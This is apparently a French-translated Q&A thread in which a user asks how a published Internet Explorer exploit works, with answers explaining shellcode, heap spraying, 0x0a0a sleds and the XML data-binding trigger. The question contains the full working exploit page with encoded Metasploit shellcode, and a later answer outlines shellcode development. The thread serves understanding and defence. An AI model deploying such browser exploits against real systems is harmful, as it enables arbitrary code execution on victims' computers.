Je n'ai généralement pas de difficulté à lire le code JavaScript, mais pour celui-ci, je ne peux pas comprendre la logique. Le code est issu d'un exploit qui a été publié il y a 4 jours. Vous pouvez le trouver sur milw0rm .
Voici le code:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Voici ce que je crois que cela fait et j'aimerais que vous m'aidiez pour la partie que je ne comprends pas.
La variable shellcode
contient le code pour ouvrir le fichier calc.exe
. Je ne comprends pas comment ils ont trouvé cette corde bizarre. Une idée?
La deuxième chose est la variable spray
. Je ne comprends pas cette boucle bizarre.
La troisième chose est la variable memory
qui n'est jamais utilisée nulle part. Pourquoi le créent-ils?
Dernière chose: que fait la balise XML dans la page?
Pour le moment j'ai de bonnes réponses mais surtout des réponses très générales. J'aimerais plus d'explications sur la valeur du code. Un exemple est unescape("%u0a0a%u0a0a");
. Qu'est-ce que ça veut dire? Même chose pour la boucle: pourquoi le développeur a-t-il écrit length < 0xd0000
:? Je voudrais une compréhension plus approfondie, pas seulement la théorie de ce code.
la source
Réponses:
Le shellcode contient des instructions d'assemblage x86 qui feront l'exploit réel.
spray
crée une longue séquence d'instructions qui seront inséréesmemory
. Comme nous ne pouvons généralement pas trouver l'emplacement exact de notre shellcode en mémoire, nous lui mettons beaucoup d'nop
instructions avant et sautons quelque part là-bas. Lememory
tableau contiendra le code x86 réel avec le mécanisme de saut. Nous fournirons le XML spécialement conçu à la bibliothèque qui a un bogue. Lorsqu'il est analysé, le bogue provoquera l'affectation du registre du pointeur d'instruction à quelque part dans notre exploit, conduisant à l'exécution de code arbitraire.Pour mieux comprendre, vous devez en fait comprendre ce que contient le code x86.
unscape
sera utilisé pour mettre la séquence d'octets représentée de la chaîne dans laspray
variable. C'est un code x86 valide qui remplit une grande partie du tas et saute au début du shellcode. La raison de la condition de fin est les limitations de longueur de chaîne du moteur de script. Vous ne pouvez pas avoir de chaînes plus grandes qu'une longueur spécifique.Dans l'assemblage x86,
0a0a
représenteor cl, [edx]
. Ceci équivaut en fait à unenop
instruction aux fins de notre exploit. Partout où nous sautons dans lespray
, nous passerons à l'instruction suivante jusqu'à ce que nous atteignions le shellcode qui est le code que nous voulons réellement exécuter.Si vous regardez le XML, vous verrez
0x0a0a
est là aussi. Décrire exactement ce qui se passe nécessite une connaissance spécifique de l'exploit (vous devez savoir où se trouve le bogue et comment il est exploité, ce que je ne sais pas). Cependant, il semble que nous forçons Internet Explorer à déclencher le code bogué en définissant leinnerHtml
sur cette chaîne XML malveillante. Internet Explorer essaie de l'analyser et le code bogué donne en quelque sorte le contrôle à un emplacement de la mémoire où le tableau existe (puisqu'il s'agit d'un gros morceau, la probabilité d'y sauter est élevée). Lorsque nous y sautons, le CPU continuera d'exécuter desor cl, [edx]
instructions jusqu'à ce que in atteigne le début du shellcode mis en mémoire.J'ai démonté le shellcode:
Comprendre ce shellcode nécessite des connaissances d'assemblage x86 et le problème dans la bibliothèque MS elle-même (pour savoir quel est l'état du système lorsque nous atteignons ici), pas JavaScript! Ce code s'exécutera à son tour
calc.exe
.la source
Cela ressemble à un exploit du bogue récent d'Internet Explorer pour lequel Microsoft a publié le correctif d'urgence. Il utilise une faille dans la fonctionnalité de liaison de données du gestionnaire XML de Microsoft, qui provoque la désallocation incorrecte de la mémoire du tas.
Shellcode est un code machine qui s'exécutera lorsque le bogue se produira. La pulvérisation et la mémoire ne sont que de l'espace alloué sur le tas pour aider la condition exploitable à se produire.
la source
La pulvérisation de tas est un moyen courant d'exploiter les éléments du navigateur, si vous y êtes, vous pouvez trouver plusieurs articles comme celui-ci: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
la source
Chaque fois que je vois de la mémoire qui n'est pas traitée dans une discussion sur l'exploit, ma première pensée est que l'exploit est une sorte de dépassement de mémoire tampon, auquel cas la mémoire provoque un débordement de la mémoire tampon ou est accessible une fois que le tampon déborde .
la source
Cela vient de metasploit, cela signifie qu'il utilise l'un des codes shell de metasploit. Il est open source pour que vous puissiez le récupérer: http://www.metasploit.com/
la source
Voir Encodages de caractères en HTML .
Ce sont des données binaires encodées sous forme de chaîne, que JavaScript est en train de décoder.
Forme commune de XSS également.
Vous pouvez voir toutes les astuces d'encodage ici:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
la source
Exemple de shellcode simple
Bonjour tout le monde en assemblage à & t syntaxe x86 je crois (Assistant en formation).
configurer le fichier:
vim shellcodeExample.s
compilez comme ceci:
as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Maintenant, vous avez un binaire qui imprime Hello World. pour convertir le binaire en type de code shell dans:
objdump -D shellcode
vous obtiendrez la sortie:
Maintenant, si vous regardez sur la 4ème ligne avec du texte, vous verrez:
400078: eb 1a jmp 0x400094
la partie qui dit
eb 1a
est la représentation hexadécimale de l'instruction d'assemblagejmp one
où "un" est l'adresse mémoire de votre chaîne.pour préparer votre shellcode pour l'exécution, ouvrez un autre fichier texte et stockez les valeurs hexadécimales dans un tableau de caractères. Pour formater correctement le code shell, tapez un
\x
avant chaque valeur hexadécimale.Le prochain exemple de code shell ressemblera à ce qui suit selon la sortie de la commande objdump:
Cet exemple utilise C pour le tableau. Vous avez maintenant un shellcode fonctionnel qui écrira dans stdout "hello world"
vous pouvez tester le code shell en le plaçant dans une vulnérabilité ou vous pouvez écrire le programme c suivant pour le tester:
Pour compiler le type de programme dans:
run with
./run
Vous savez, vous avez un exemple fonctionnel de développement de shellcode simple qui a été testé sous linux mint / debian.la source
int 0x80
ABI 32 bits dans un code 64 bits. Il échouera pour les chaînes de la pile, car le noyau ne regarde que les 32 bits inférieurs des arguments syscall. Que se passe-t-il si vous utilisez l'ABI Linux int 0x80 32 bits dans un code 64 bits? . (Dans ce cas, vous créeriez une boucle infinie, carsys_write
retournerait-EFAULT
etmov $1, %al
laisserait les bits supérieurs définis, vous obtiendrez donc-ENOSYS
au lieu de sys_exit). En outre, dans le code 64 bits, vous pouvez simplementjmp
transférer la chaîne et utiliser un RIP relatiflea
pour obtenir l'adresse, au lieu d'appeler / pop.const char payload[]
ce serait dans le segment de texte (dans la section .rodata) et vous n'en auriez pas besoin-z execstack
.)movl 4, %rax
contient un octet de zéro (et ne s'assemble pas à cause d'une incompatibilité de taille d'opérande, et il manque un$
donc le 4 est une adresse absolue). Je pense que vous avez publié une première version de votre source. Mes commentaires précédents concernent le démontage où vous avez ajouté unsys_exit
appel.